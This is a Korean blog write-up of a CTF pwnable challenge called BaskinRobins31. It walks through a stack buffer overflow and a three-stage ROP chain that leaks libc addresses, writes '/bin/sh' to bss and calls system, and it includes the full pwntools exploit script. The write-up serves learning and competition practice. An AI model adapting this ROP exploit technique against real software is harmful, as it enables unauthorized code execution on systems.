문제는 BaskinRobs31 게임입니다.
게임의 규칙은 다들 아시다시피, 31이라는 카운트에서 서로 1~3 까지의 수를 말하고 그에 해당하는 값만큼 값을 깎는 것을 반복하는 겁니다. 자신의 차례에 이미 카운트가 0이 되어있다면 지는 게임입니다.
하지만 모든 게임에는 잔머리가 있듯이, 필!승!전1략1이 있는데요. 제가 한 번 해보겠습니다.
이 게임은 선빵을 먼저 때릴 수 있으면 이기는 게임입니다. 3만 계속 외치다보면 어느순간 상대방의 차례에는 4가 남아, 상대방은 어떤 수를 내도 다음 차례에 질 수 밖에 없기 때문이져.
근데 이놈이 사기를 칩니다; ㅎ..ㅎㅎ
프로그램 따위에게 농락을 당해버렸지만, 그 복수는 쉘을 따버리는 것으로 갚겠습니다.
친절하시게도 제일 먼저, ROP가 힌트라고 알려줍니다.
문제를 분석해보자면, 일단 크게 반복문 안에서, my_turn 이라는 서버의 차례와 your_turn 이라는 사용자의 차례가 계속 반복되는 구조입니다.
이 두가지 차례 중에 your_turn 을 깊게 들여다 봅시다.
read로 사용자의 입력을 받습니다. 사용자의 입력 값을 받는 부분이 가장 중요하므로 자세히 들여다 봅니다.
제가 임의로 이름을 정한 inputS 라는 곳에 0x190만큼 문자열을 입력받네요. 그런데 이 inputS 라는 곳은 스택 상에서 확인해보면 rbp - 0xb0 에 위치하고 있습니다.
확실한 버퍼오버플로우 공격이 일어날 수 있습니다! 힌트가 ROP 이니, 버퍼오버플로우로 ROP Chain을 적당히 잘 구성하면 될 것 같습니다.
ROP Chain을 구성할 때, 이용할 수 있는 사실들이 몇 가지 있는데, 다음과 같습니다.
첫 번째로, 사실 이번 대회에 이 사실은 처음 알았는데, no pie에서 write 함수의 plt 와 got 의 주소는 변하지 않는다는 것을 이용해서 write 함수의 got 값을 leak 할 수 있습니다. 이 메모리 릭을 통해 system 함수를 불러낼 수 있는 주소를 알아내봅니다.
두 번째로, system 함수의 인자로 들어가 "/bin/sh" 문자열을 만들어 봅시다. read 함수가 있으니 이를 통해, 적당히 bss 영역에 문자열을 만들 수 있습니다.
세 번째로, 적당히 main 시작 주소와 같은 영역으로 ROP Chain에서 ret 하면 산뜻하게 read 함수를 이용하여 입력을 다시 줄 수 있습니다.
위와 같은 사실들에 기반하여 대충 페이로드를 짜봅시다.
#step 1. memory leak 후 main으로 다시 return
#step 2. bss 영역에 "/bin/sh" 입력 후, 다시 main으로 return
#step 3. call system("/bin/sh")
대충 저렇게 짜기위해 필요한 준비물들을 구해보도록 합시당.
pop3 = 0x040087a
적당히 bss = 0x602000 + 0x100
read_plt = 0x400700
read_got = 0x602040
write_plt = 0x4006d0
write_got = 0x602028
main = 0x400a4b
그래서 최종 익스는 이렇게 짰습니당.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 | from pwn import* r=process('./BaskinRobins31') #r = remote("ch41l3ng3s.codegate.kr",3131) pop3 = 0x040087a bss = 0x602000+0x100 write_plt = 0x4006d0 write_got = 0x602028 main = 0x00400a4b read_plt = 0x400700 read_got = 0x602040 ## memory leak ## r.recvuntil("(1-3)\n") raw_input(">> 1. memory leak\n") pay = "" pay += "\x00"*184 pay += p64(pop3) pay += p64(1) pay += p64(write_got) pay += p64(8) pay += p64(write_plt) pay += p64(pop3) pay += p64(1) pay += p64(read_got) pay += p64(8) pay += p64(write_plt) pay += p64(main) r.sendline( pay ) r.recvuntil("Don't break the rules...:( ") r.recv(1) # recv '\n' leak1 = u64(r.recv(8)) success("write_got = " + hex(leak1)) leak2 = u64(r.recv(8)) success("read_got = " + hex(leak2)) write_addr = leak1 system_addr = write_addr - 691744 #local #system_addr = write_addr - 728864 #server ## make /bin/sh ## raw_input(">> 2. Let's make /bin/sh\n") r.recvuntil("(1-3)\n") pay2 = "" pay2 += "\x00"*184 pay2 += p64(pop3) pay2 += p64(0) pay2 += p64(bss) pay2 += p64(8) pay2 += p64(read_plt) pay2 += p64(main) r.sendline( pay2 ) r.recvuntil("Don't break the rules...:( ") r.sendline("/bin/sh") ## CRACK!!! ## pop1 = 0x000400bc3 raw_input(">> 3. Let's shell! \n") r.recvuntil("(1-3)\n") pay3 = "" pay3 += "\x00"*184 pay3 += p64(pop1) pay3 += p64(bss) pay3 += p64(system_addr) r.sendline( pay3 ) r.recvuntil("Don't break the rules...:( ") r.interactive() | cs |
실행 화면은 다음과 같은데, write 뿐만 아니라 read 주소까지 릭하는 이유는 서버의 라이브러리를 구해서 system 과 write 와의 오프셋을 구하기 위함입니다.
서버에 돌려서 나오는 것들을 보면서 좀 더 자세하게 쓰면 좋겠는데, 서버에 접속이 안되네여 ㅠ
암튼 익스가 성공했읍니다!
(+)
ㅜㅜ.. 이렇게 쉬운 문제였는데, 대회 당시에는 왤케 이상한 곳에서 삽질했는지 모르겠네요. 친구와 어찌저찌 합심해서 풀기는 했지만, 너무 힘들게 풀었던거 같습니당.
뭐 그래도 이 문제에 대해 머리싸매는 동안 많이 배운 것 같습니다. 사실 엄청 깊게 생각해보지는 않았던 ret plt got rip 관계라던지, 메모리 릭을 어떻게하면 발생시킬 수 있을지에 대해서 이렇게 고민 많이 해 본 적은 없었던 것 같네요. 대회 기간동안 많이 성장할 수 있었던 것 같습니다. 다음 번에는 더 좋은 성적을 내고 싶습니다.
이번 대회 덕분에 포너블에 대한 관심이 많아졌고, 개인적으로 좋은 터닝 포인트가 되었던 것 같습니다. 우리 팀원들도 많이많이 수고했고, 앞으로도 더 많은 대회에 참여해서 좋은 결과를 얻었으면 좋겠습니다.
'Write-up' 카테고리의 다른 글
[Harekaze CTF 2018] Lost_data writeup (0) | 2018.02.12 |
---|---|
[Harekaze CTF 2018] Harekaze Farm writeup (0) | 2018.02.12 |
[pwnable.kr] random write-up (0) | 2018.01.23 |
[pwnable.kr] blackjack write-up (0) | 2018.01.22 |
[pwnable.kr] cmd1 write-up (0) | 2018.01.17 |